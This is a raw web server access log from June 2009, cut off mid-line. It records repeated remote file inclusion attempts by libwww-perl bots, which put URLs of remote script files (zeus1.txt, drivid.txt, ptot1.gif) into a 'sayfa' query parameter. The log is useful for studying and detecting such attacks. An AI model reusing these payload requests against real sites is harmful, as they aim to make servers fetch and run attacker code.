202.70.83.4 - - [26/Jun/2009:15:53:20 -0600] "GET /?sayfa=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 200 26064 "-" "libwww-perl/5.803" 173.15.28.165 - - [26/Jun/2009:15:55:36 -0600] "GET //index.php?sayfa=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 302 784 "-" "libwww-perl/5.805" 173.15.28.165 - - [26/Jun/2009:15:55:39 -0600] "GET //index.php?sayfa=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 302 784 "-" "libwww-perl/5.805" 173.15.28.165 - - [26/Jun/2009:15:56:00 -0600] "GET //index.php?sayfa=http://www.sancalogero.net/portal/upload/drivid.txt%0D?? HTTP/1.1" 302 758 "-" "libwww-perl/5.805" 173.15.28.165 - - [26/Jun/2009:15:56:02 -0600] "GET /?sayfa=http://www.sancalogero.net/portal/upload/drivid.txt%0D?? HTTP/1.1" 200 109413 "-" "libwww-perl/5.805" 173.15.28.165 - - [26/Jun/2009:15:56:09 -0600] "GET //index.php?sayfa=http://www.sancalogero.net/portal/upload/drivid.txt%0D?? HTTP/1.1" 302 758 "-" "libwww-perl/5.805" 173.15.28.165 - - [26/Jun/2009:15:56:10 -0600] "GET //index.php?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 741 "-" "libwww-perl/5.805" 173.15.28.165 - - [26/Jun/2009:15:56:12 -0600] "GET //index.php?sayfa=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 302 784 "-" "libwww-perl/5.805" 173.15.28.165 - - [26/Jun/2009:15:56:13 -0600] "GET /?sayfa=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 200 109487 "-" "libwww-perl/5.805" 173.15.28.165 - - [26/Jun/2009:15:56:13 -0600] "GET /?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 200 109495 "-" "libwww-perl/5.805" 87.106.179.130 - - [26/Jun/2009:16:02:17 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?sayfa=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 302 839 "-" "libwww-perl/5.805" 87.106.179.130 - - [26/Jun/2009:16:02:17 -0600] "GET //index.php?sayfa=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 302 784 "-" "libwww-perl/5.805" 87.106.179.130 - - [26/Jun/2009:16:02:23 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?sayfa=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 302 818 "-" "libwww-perl/5.805" 87.106.179.130 - - [26/Jun/2009:16:02:23 -0600] "GET /?sayfa=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 200 109249 "-" "libwww-perl/5.805" 87.106.179.130 - - [26/Jun/2009:16:02:29 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 200 47127 "-" "libwww-perl/5.805" 87.106.179.130 - - [26/Jun/2009:16:02:38 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?sayfa=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 302 839 "-" "libwww-perl/5.805" 87.106.179.130 - - [26/Jun/2009:16:02:39 -0600] "GET //index.php?sayfa=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 302 784 "-" "libwww-perl/5.805" 87.106.179.130 - - [26/Jun/2009:16:02:45 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?sayfa=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 302 818 "-" "libwww-perl/5.805" 87.106.179.130 - - [26/Jun/2009:16:02:47 -0600] "GET //index.php?sayfa=http://www.sancalogero.net/portal/upload/drivid.txt?? HTTP/1.1" 302 755 "-" "libwww-perl/5.805" 87.106.179.130 - - [26/Jun/2009:16:02:45 -0600] "GET /?sayfa=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 200 109216 "-" "libwww-perl/5.805" 87.106.179.130 - - [26/Jun/2009:16:02:51 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 200 47127 "-" "libwww-perl/5.805" 87.106.179.130 - - [26/Jun/2009:16:02:54 -0600] "GET /?sayfa=http://www.sancalogero.net/portal/upload/drivid.txt?? HTTP/1.1" 200 109074 "-" "libwww-perl/5.805" 87.106.179.130 - - [26/Jun/2009:16:02:58 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?sayfa=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 302 839 "-" "libwww-perl/5.805" 87.106.179.130 - - [26/Jun/2009:16:02:58 -0600] "GET //index.php?sayfa=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 302 784 "-" "libwww-perl/5.805" 87.106.1